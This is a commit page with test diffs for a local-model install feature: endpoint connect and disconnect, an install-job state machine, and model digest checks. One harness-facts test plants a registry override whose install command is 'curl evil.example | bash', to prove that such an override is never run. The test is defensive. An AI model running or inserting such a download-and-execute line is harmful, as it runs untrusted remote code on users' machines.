feat(local-model): install a model from the server, with a job that can pause

POST /api/local-model/install, cancel, resume and runtime, and DELETE
/api/local-model. The GET gains an `install` object the window polls. All of
it is experimental and admin only in multi-user mode.

One job of five steps (runtime, model, verify, agent, connect) driven by a
pure reducer over explicit state, step and transition tables. One job at a
time (409). The consent is bound to the size shown: `acknowledgedBytes` must
be the server's own total (409 size-changed). A job a server restart
interrupted comes back paused and never continues without a click. Every
failure is a code with one next step.

The model is judged against the budget the runtime measured before it is
downloaded. A missing coding agent is installed with its stock command
through the shared runner, audited. Connect writes one endpoint record under
the reserved id through mutateCustomModelHosts() and switches
customModelEndpointsEnabled on through mutateSettingsFile(), remembering the
flag's value. The model's digest is stored and read again at boot and before
every session start on that endpoint; a changed model refuses the launch.

Remove answers 409 with the session names while a live session uses the
endpoint, undoes the two writes first, restores the flag only when this
feature switched it on and no other endpoint is saved, and deletes only
inside local-model/. The coding agent stays.

The server starts the runtime at boot when a model is installed and stops
it at shutdown beside stopDeepSeekWeb().

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-06 22:16:38 +01:00
1 parent a864acc52c
commit 3af94df4f6
17 files changed
+6290 -156

No files matched your search

+417
View File
@@ -0,0 +1,417 @@
/**
* @fileoverview Connecting the installed local model to Codeman and undoing it
* (src/local-model/connect.ts): the two writes outside the local model folder.
*
* What is pinned:
* - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
* - connecting writes the record and switches the settings flag on, keeps every other
* endpoint and setting, and is idempotent;
* - the reserved id is never taken over: a record with it that is not ours refuses the
* connect and changes nothing;
* - a refused write leaves the pair as it was (a record this call added is taken out again);
* - disconnecting removes our record, and restores the flag ONLY when this feature switched
* it on and no other endpoint is saved;
* - the digest comparison, the session names of the DELETE's 409, the managed-record test,
* and that the runtime's private key cannot be served.
*
* Port: N/A (no server; the two files live in the test's temp data dir).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import {
buildLocalEndpointRecord,
compareModelDigest,
connectLocalModel,
disconnectLocalModel,
ensureLocalEndpoint,
isLocalModelEndpointId,
isManagedLocalEndpoint,
LOCAL_MODEL_ENDPOINT_ID,
LOCAL_MODEL_ENDPOINT_LABEL,
moveLocalEndpoint,
sessionNamesUsingEndpoint,
} from '../src/local-model/connect.js';
import { CustomModelHostSchema } from '../src/web/schemas.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { isSensitivePath } from '../src/web/sensitive-path.js';
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
const OTHER: CustomModelHost = {
id: 'office-gpu',
label: 'Office GPU',
baseUrl: 'http://192.168.1.50:8080',
apiKey: 'sk-keep-me',
models: ['some-model'],
};
const RECORD: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
function writeSettings(settings: Record<string, unknown>): void {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
}
const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
function writeHosts(hosts: CustomModelHost[]): void {
writeFileSync(HOSTS(), JSON.stringify(hosts));
}
afterEach(() => {
rmSync(HOSTS(), { force: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(STATE(), { force: true });
vi.restoreAllMocks();
});
describe('buildLocalEndpointRecord', () => {
it('is the one record this feature writes, to the letter', () => {
expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
});
it('carries no API key and no field of its own invention', () => {
expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
'authStyle',
'baseUrl',
'defaultContextLength',
'defaultModelId',
'id',
'label',
'models',
]);
});
it('passes the schema a saved endpoint must pass, unchanged', () => {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
expect(parsed.success).toBe(true);
expect(parsed.data).toEqual(RECORD);
});
it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
expect(record.baseUrl).toBe('http://127.0.0.1:11442');
expect(record.models).toEqual(['gpt-oss:20b']);
expect(record.defaultModelId).toBe('gpt-oss:20b');
expect(record.defaultContextLength).toBe(65536);
});
});
describe('connectLocalModel', () => {
it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('keeps every other endpoint and every other setting', async () => {
writeHosts([OTHER]);
writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
expect(readSettings()).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: true,
voiceSettings: { apiKey: 'dg' },
});
});
it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
const before = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
});
it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
writeHosts([OTHER]);
const first = await connectLocalModel({ ...INPUT, ours: false });
expect(first).toEqual({ ok: true, flagWasEnabled: false });
// The second connect finds the flag ON, because the first switched it on. The value that
// is remembered must stay the one from before this feature touched it.
const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
expect(second).toEqual({ ok: true, flagWasEnabled: false });
const hosts = await readCustomModelHosts(getDataDir());
expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
expect(hosts[1].defaultContextLength).toBe(65536);
});
it('replaces our own record in place when the state says it is ours', async () => {
writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
});
it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
writeHosts([theirs]);
writeSettings({ customModelEndpointsEnabled: false });
const hostsBefore = readFileSync(HOSTS(), 'utf8');
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
});
it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
writeSettings({ customModelEndpointsEnabled: false });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
expect(result.ok === false && result.detail).not.toContain('sk-secret');
expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([OTHER]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('settings.json');
// The pair is not left half done: a later attempt starts from the same place.
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
});
it('a settings failure does not take out a record that was ours before this call', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([RECORD]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, 'not json');
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('a port that cannot be a URL is connect-failed before anything is written', async () => {
const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
});
describe('moveLocalEndpoint', () => {
it('moves our record to the new port and keeps everything else of it', async () => {
writeHosts([OTHER, RECORD]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
});
it('a missing record is not an error and creates no file', async () => {
await moveLocalEndpoint(11441);
expect(existsSync(HOSTS())).toBe(false);
writeHosts([OTHER]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
});
});
describe('ensureLocalEndpoint', () => {
it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: false });
expect(await ensureLocalEndpoint(INPUT)).toBe(true);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
// A person who switched the setting off meant to.
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('never replaces a record that is there, ours or not', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
writeHosts([theirs]);
const before = readFileSync(HOSTS(), 'utf8');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
});
it('never throws: a store that does not parse is left alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
});
});
describe('disconnectLocalModel', () => {
it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
});
it('leaves the flag on when it was on before this feature', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
writeHosts([OTHER, RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
writeHosts([RECORD, OTHER]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
const hosts = readFileSync(HOSTS(), 'utf8');
const settings = readFileSync(SETTINGS_PATH, 'utf8');
await disconnectLocalModel({ flagWasEnabled: false });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
});
it('with nothing saved at all it writes neither file', async () => {
await disconnectLocalModel({ flagWasEnabled: false });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
writeSettings({ customModelEndpointsEnabled: true });
await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('connect then disconnect leaves the data dir as it was found', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
const connected = await connectLocalModel({ ...INPUT, ours: false });
expect(connected).toEqual({ ok: true, flagWasEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
});
});
describe('the reserved id and the managed record', () => {
it('isLocalModelEndpointId is an exact match', () => {
expect(isLocalModelEndpointId('local-ollama')).toBe(true);
for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
expect(isLocalModelEndpointId(id)).toBe(false);
}
});
it('a record with the reserved id is managed only while the state file records it as ours', async () => {
// No state file: somebody made that record by hand.
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
const installed = {
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
};
writeFileSync(STATE(), JSON.stringify(installed));
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
writeFileSync(
STATE(),
JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
);
expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
// Any other id is never managed, whatever the state file says.
expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
});
});
describe('sessionNamesUsingEndpoint', () => {
const sessions = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('names the sessions on our endpoint, in the order given', () => {
expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
});
it('takes any iterable and another endpoint id', () => {
expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
});
});
describe('compareModelDigest', () => {
const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
it('same digest, same model', () => {
expect(compareModelDigest(digest, digest)).toBe('same');
});
it('a prefix or another letter case is not a change', () => {
expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
});
it('another digest under the same name is a change', () => {
expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
});
it('is unknown when either side is absent or empty', () => {
expect(compareModelDigest(undefined, digest)).toBe('unknown');
expect(compareModelDigest(digest, undefined)).toBe('unknown');
expect(compareModelDigest('', digest)).toBe('unknown');
expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
expect(compareModelDigest(undefined, undefined)).toBe('unknown');
});
});
describe('the runtime keeps a private key that is never served', () => {
it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
const home = join(getDataDir(), 'local-model', 'home');
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
});
it('the model store and the state file hold no secret and stay ordinary files', () => {
expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
});
});
+90 -1
View File
@@ -12,6 +12,9 @@
* - The registry's install command resolver reads `process.platform` and falls back to the
* Linux command, so on a Linux machine it never returns a macOS command. The macOS cases
* inject `installCommandFor` and read the entry's own `darwin` command.
* - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the
* install job would run. A `clis.json` override changes what the registry shows and must
* not change it.
*
* Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts).
*/
@@ -24,6 +27,7 @@ import {
cliAcceptsCustomModelId,
installCommandNeedsAdmin,
} from '../src/local-model/harness-facts.js';
import { stockInstallCommand } from '../src/cli-install-runner.js';
import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
import type { LocalModelCatalog } from '../src/types.js';
@@ -34,7 +38,6 @@ function catalogWith(clis: string[]): LocalModelCatalog {
schema: 1,
updated: '2026-11-06',
minMacosMajor: 14,
promptCacheTiers: [{ minMemGb: 0, bytes: 512 * 1024 * 1024 }],
models: [],
harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })),
chips: [],
@@ -303,4 +306,90 @@ describe('buildHarnessFacts', () => {
it('an empty harness list is an empty answer', async () => {
expect(await buildHarnessFacts(catalogWith([]))).toEqual([]);
});
describe('installCommand: the literal command the consent screen prints', () => {
it('is present exactly when the fact is installable, and is the command that was judged', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
probeInstalled: installedOnly('claude'),
installCommandFor: darwinCommand,
});
for (const fact of facts) {
expect('installCommand' in fact).toBe(fact.installable);
}
const byCli = new Map(facts.map((f) => [f.cli, f]));
expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi')));
// Installed: nothing would be run, so nothing is shown.
expect(byCli.get('claude')).not.toHaveProperty('installCommand');
// Homebrew needs an administrator: not installable, and no command is offered.
expect(byCli.get('omp')).not.toHaveProperty('installCommand');
});
it('with its default dependencies it is the stock command of this platform', async () => {
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact).toMatchObject({
installed: false,
installable: true,
installCommand: stockInstallCommand('opencode'),
});
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is what the registry now says...
expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash');
// ...and it is not what the install job would run, so it is not what the fact carries.
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } },
}),
{ mode: 0o600 }
);
reloadCliRegistry();
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).not.toContain('sudo');
});
it('a custom entry never carries a command: its install text is never run', async () => {
const custom = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry ? { ...entry, stock: false } : entry;
};
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: custom,
probeInstalled: installedOnly(),
installCommandFor: darwinCommand,
});
expect(fact.installable).toBe(false);
expect(fact).not.toHaveProperty('installCommand');
});
});
});
+700
View File
@@ -0,0 +1,700 @@
/**
* @fileoverview The pure half of the local model install job (src/local-model/install-job.ts):
* the three tables, the reducer over them, and the view.
*
* The reducer is tested from the tables it is written against: every state is paired with
* every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the
* table does not list hands back the very object it was given). The state table's own
* columns (what a restart and Cancel do, which actions are allowed) are checked against the
* reducer and the view, so the table in the file header cannot drift from the code.
*
* The service that drives the job is in test/local-model-install-service.test.ts.
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import {
allowedActions,
buildInstallError,
buildInstallView,
formatInstallMessage,
INSTALL_STATE_TABLE,
INSTALL_STEP_TABLE,
INSTALL_TRANSITIONS,
installedBlocker,
jobSteps,
reduceInstallJob,
type InstallJobEvent,
type InstallJobEventType,
type InstallLiveFacts,
} from '../src/local-model/install-job.js';
import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_ERROR_NEXT,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type LocalModelAction,
type LocalModelErrorCode,
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelStateFile,
} from '../src/types.js';
const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
const EVENT_TYPES: InstallJobEventType[] = [
'install',
'progress',
'step-done',
'fail',
'cancel',
'restart',
'resume',
'remove',
];
const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect'];
const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 };
const CLI = { id: 'opencode', label: 'OpenCode' };
const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 };
const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
const JOB: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'model',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
runtime: RUNTIME,
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
/** One state file of each state, as the job leaves it. */
const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
idle: { schema: 1, state: 'idle' },
installing: JOB,
paused: { ...JOB, state: 'paused' },
failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } },
installed: {
schema: 1,
state: 'installed',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
cli: CLI,
runtime: RUNTIME,
loaded: LOADED,
connection: CONNECTION,
},
};
/** One event of each type. */
const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
install: {
type: 'install',
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
steps: ['runtime', 'model', 'verify', 'connect'],
},
progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
'step-done': { type: 'step-done' },
fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
cancel: { type: 'cancel' },
restart: { type: 'restart' },
resume: { type: 'resume' },
remove: { type: 'remove' },
};
/** Freezes an object and everything in it, so a reducer that mutates its input throws. */
function deepFreeze<T>(value: T): T {
if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
Object.freeze(value);
for (const member of Object.values(value)) deepFreeze(member);
}
return value;
}
const LIVE: InstallLiveFacts = {
running: false,
gaveUp: false,
portInUse: false,
developerTools: 'present',
runtimeInstalled: false,
pin: OLLAMA_RUNTIME_PIN,
folder: '/Users/me/.codeman/local-model',
};
describe('the tables', () => {
it('have a row for every state and every step, and only for those', () => {
expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort());
expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS);
});
it('the transition table names only real events and real states', () => {
for (const state of STATES) {
for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) {
expect(EVENT_TYPES).toContain(type);
expect(STATES).toContain(target);
}
}
});
it('is the table of the design: these pairs and no others', () => {
expect(INSTALL_TRANSITIONS).toEqual({
idle: { install: 'installing', restart: 'idle', remove: 'idle' },
installing: {
progress: 'installing',
'step-done': 'installing',
fail: 'failed',
cancel: 'paused',
restart: 'paused',
},
paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
installed: { remove: 'idle', restart: 'installed' },
});
});
it('every step row names error codes that exist, each with a sentence and a next step', () => {
for (const step of LOCAL_MODEL_INSTALL_STEPS) {
const row = INSTALL_STEP_TABLE[step];
expect(row.errors.length).toBeGreaterThan(0);
expect(row.errors).toContain('internal');
for (const code of row.errors) {
expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string');
expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string');
}
}
// The two steps that download report byte progress; the others do not.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']);
// The runtime must run for every step that talks to it.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([
'model',
'verify',
'connect',
]);
});
it('every error code has exactly one sentence and one next step', () => {
const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[];
expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort());
const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true);
});
});
describe('jobSteps', () => {
it('is every step in order, without the agent step when the coding agent is installed', () => {
expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']);
expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']);
});
it('hands out a list of its own each time', () => {
const steps = jobSteps({ agentInstalled: false });
steps.pop();
expect(jobSteps({ agentInstalled: false })).toHaveLength(5);
expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5);
});
});
describe('reduceInstallJob: every state with every event, from the transition table', () => {
for (const state of STATES) {
for (const type of EVENT_TYPES) {
const target = INSTALL_TRANSITIONS[state][type];
const current = deepFreeze(structuredClone(SAMPLE[state]));
const event = deepFreeze(structuredClone(EVENT[type]));
if (target === undefined) {
it(`${state} + ${type}: refused, the same object comes back`, () => {
expect(reduceInstallJob(current, event)).toBe(current);
});
} else {
it(`${state} + ${type}: ${target}`, () => {
const next = reduceInstallJob(current, event);
expect(next.state).toBe(target);
expect(next.schema).toBe(1);
// Pure: the frozen input was not changed (a write to it would have thrown).
expect(current).toEqual(SAMPLE[state]);
});
}
}
}
it('covers all 40 pairs, 18 of them listed', () => {
const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
expect(STATES.length * EVENT_TYPES.length).toBe(40);
expect(listed).toHaveLength(18);
});
});
describe('the state table agrees with the reducer and the view', () => {
it.each(STATES)('%s: what a server restart does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).toBe(row.afterRestart);
});
it.each(STATES)('%s: what Cancel does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' });
if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]);
else expect(after.state).toBe(row.afterCancel);
});
it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => {
const row = INSTALL_STATE_TABLE[state];
const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
expect(row.actions.includes('install')).toBe(accepts('install'));
expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
